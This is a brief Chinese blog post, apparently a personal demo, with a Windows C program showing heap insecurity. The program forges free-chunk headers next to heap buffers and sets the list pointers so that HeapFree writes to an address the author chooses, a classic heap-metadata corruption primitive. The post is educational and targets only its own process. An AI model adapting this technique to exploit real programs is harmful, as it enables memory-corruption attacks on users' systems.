证明堆的不安全性

  前几日 研究堆本希望叫我同学明白 堆是不安全的 他不信我 讲又讲不明白他 于是狂骂之 

  今日无聊 写了个程序给他讲 白痴终于开窍了。。。

  基本理论情况是满清楚的 一直没有写过着得东西

  本不想搞这些东西 最终也抵制不了自己的好奇 人啊

  真是个贱东西  me too

———————————————————————————

#include "stdafx.h"
#include <windows.h>

#define OFFSET                    1024
#define Anyaddr                0x410020
#define Anydate                0x410000
#define HEAP_ENTRY_BUSY             0x01
#define HEAP_ENTRY_EXTRA_PRESENT    0x02
#define HEAP_ENTRY_FILL_PATTERN     0x04
#define HEAP_ENTRY_VIRTUAL_ALLOC    0x08
#define HEAP_ENTRY_LAST_ENTRY       0x10
#define HEAP_ENTRY_SETTABLE_FLAG1   0x20
#define HEAP_ENTRY_SETTABLE_FLAG2   0x40
#define HEAP_ENTRY_SETTABLE_FLAG3   0x80
#define HEAP_ENTRY_SETTABLE_FLAGS   0xE0

typedef struct _HEAP_FREE_ENTRY {
    USHORT Size;
    USHORT PreviousSize;
    UCHAR SegmentIndex;
    UCHAR Flags;
    UCHAR Index;
    UCHAR Mask;
    LIST_ENTRY FreeList;
} HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY;
int _tmain(int argc, _TCHAR* argv[])
{
    HANDLE      hHeap;
 char buff[20];
 char *buf1,*buf2,*buf3;
 PHEAP_FREE_ENTRY pfheap_entry;
 
    hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);

 buf1 = (char*)HeapAlloc(hHeap,0,OFFSET);
 memset(buff,0,20);
 memset(buf1,0,OFFSET);
 buf2 = (char*)HeapAlloc(hHeap,0,OFFSET);
 memset(buf2,0,OFFSET);

 pfheap_entry                 = (PHEAP_FREE_ENTRY)&buff;
 pfheap_entry->PreviousSize   = 0x83;
 pfheap_entry->Size           = 0x5;
 pfheap_entry->SegmentIndex   = 0x0;
 pfheap_entry->Flags          = HEAP_ENTRY_SETTABLE_FLAG2 | HEAP_ENTRY_BUSY;
 pfheap_entry->Index          = 0x18;
 pfheap_entry->Mask           = 0x0;

 memcpy(buf1+1024+16,pfheap_entry,sizeof(_HEAP_FREE_ENTRY ));
 memcpy(buf2+16,buf1+1024,8);

 pfheap_entry                 = (PHEAP_FREE_ENTRY)&buff;
 pfheap_entry->PreviousSize   = 0x2;
 pfheap_entry->Size           = 0x83-0x5;
 pfheap_entry->SegmentIndex   = 0x0;
 pfheap_entry->Flags          = 0x44;
 pfheap_entry->Index          = 0x18;
 pfheap_entry->Mask           = 0x0;
    pfheap_entry->FreeList.Flink = (LIST_ENTRY*)Anyaddr;
    pfheap_entry->FreeList.Blink = (LIST_ENTRY*)Anydate;
    memcpy(buf2+32,pfheap_entry,sizeof(_HEAP_FREE_ENTRY ));

    HeapFree(hHeap, 0, buf1);
 HeapFree(hHeap, 0, buf2);
 return 0;
}

————————————————————————-——————————

如果修改了管理地址需要在return前修复次地址

否则不能返回 或不可预料的错误

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值